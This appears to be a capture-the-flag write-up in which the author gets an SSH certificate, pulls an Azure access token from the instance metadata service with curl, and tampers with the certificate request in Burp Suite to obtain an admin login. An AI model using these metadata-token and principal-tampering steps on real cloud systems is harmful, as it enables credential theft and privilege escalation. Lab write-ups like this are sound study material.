Certificate SSHenanigans

Tools/Skills: Certificates, SSH, Azure Instance Metadata Service, Python, Burp Suite, Source Code

SYNOPSIS

I needed to get access to an admin account to determine what kind of cookies were on Alabaster's to-do list.

By using a certificate generator website, I created a certificate to login as a user ("monitor") with an "Elf" Principal. I then ssh'd into the system as "monitor". From there, I found information that I could use to access the certificate website's source code. By accessing Azure Instance Metadata Service, I found the subscription ID, resource group, and access token. With that information, I accessed the source code of the website. The source code revealed that I could specify the principal when I created a certificate. Having already located that I needed a principal of "admin", I intercepted the certificate traffic using Burp Suite, specified the principal as admin, then created an admin certificate. I then logged in and found out that on Alabaster's to-do list were gingerbread cookies.

SOLUTION

1. CREATE PUBLIC KEY & PRIVATE KEY PAIR

   • ssh-keygen -C 'monitor' -f monitor_ssh_key

   • Copied monitor_ssh_key.pub into website form

   • Copied result (from “rsa-” to the ending of that quotation block) into monitor_ssh_key-cert.pub

2. SSH INTO MONITOR

   ssh [e-mail] -i monitor_ssh_key

3. PRINCIPALS

   • Change directories to the /etc/ssh/auth_principals

     • Principal for the Monitor Account: Elf (this must be the default)

     • Principal for the Alabaster Account: Admin

4. SUBSCRIPTION ID & RESOURCE GROUP

   curl -s -H Metadata:true --noproxy "*" "http://169.254.169.254/metadata/instance?api-version=2022-03-01" | jq

   SUBSCRIPTION ID: 2b0942f3-9bca-484b-a508-abdae2db5e64

   RESOURCEGROUP: NORTHPOLE-RG1

5. ACCESS TOKEN

   curl -H Metadata:true "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"

   • : Resource 1 Resource 2

6. NAME OF APP

   Domain of the website: https://northpole-ssh-certs-fa.azurewebsites.net/api/create-cert?code=candy-cane-twirl

7. REPOSITORY

   curl -X GET \

   -H "Authorization: Bearer [access token] " \ https://management.azure.com/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.Web/sites/northpole-ssh-certs-fa/sourcecontrols/web?api-version=2022-03-01

   • REPOSITORY: https://github.com/SantaWorkshopGeeseIslandsDevOps/northpole-ssh-certs-fa

8. In the Github repo, it shows that the code is willing to take an input for both the public key and the principal. If the principal is not included, it will go to the default (elf). I looked at the way the response would look like, which gave me an indication as to the format it wanted the http request in: {“ssh_cert”: string, “principal”: string}. I also looked at the sanitation that was happening to get a feel for the format.

   

   

   
9. Using Burp Suite, I intercepted the message, added the principal as “admin”, then copied and pasted the certificate into my certificate file for alabaster.

   
10. I logged in as alabaster (whose principal is “admin”) and opened the todo list file.

    
11. The answer is: Gingerbread

PROCESS

This was a two-day process. It was circular, tangential, dimensional-hopping at times. It was practically never linear.

Tools I used:

1. Provided Video

2. Discord

   • Reading through the different clues and recommended websites proved invaluable.

3. ChatGPT

   • Chat 1

     Example Prompt:

     I have a public and private key pair generated on my computer. An ssh certificate was created by someone else. All I have is:

     {"ssh_cert": "[e-mail] AAAAIHNzaC1lZDI1NTE5LWNlcnQtdjAxQG9wZW5zc2guY29tAAAAJzI1MjUxODgwNjI1NDQxMTg2NDE0ODU5NTM2MzE0NzYxODY2NDU2NQAAACChnwy68XO5RNMeGhmsaVPuCMxT1wEg0Z1EsnnpOlyFXwAAAAAAAAABAAAAAQAAACRlMGExNmU5OS1lNThlLTRlMzAtYTUyZS0yNDU1ODE3NGY2YjUAAAAHAAAAA2VsZgAAAABllZ6tAAAAAGW6idkAAAAAAAAAEgAAAApwZXJtaXQtcHR5AAAAAAAAAAAAAAAzAAAAC3NzaC1lZDI1NTE5AAAAIGk2GNMCmJkXPJHHRQH9+TM4CRrsq/7BL0wp+P6rCIWHAAAAUwAAAAtzc2gtZWQyNTUxOQAAAEAllLS7ouA+8Mh6fUq6hkj8ot2k3Wrkfkiu4x7/DRqPwr05AQparr7QQjc6mpClc7DAtZD414nmpB4BjTpBnt8A ",

     "principal": "elf"

     }

     How do I get the certificate on my computer?

   • Chat 2

     Prompt:

     Can I add a principal to a signed certificate?

   • Chat 3

   • Chat 4

   • Chat 5

   • Chat 6

   • Chat 7

   • Chat 8

4. Bard

   Example Prompt:

   How do I include the principal field in the JSON data of the HTTP

   request body?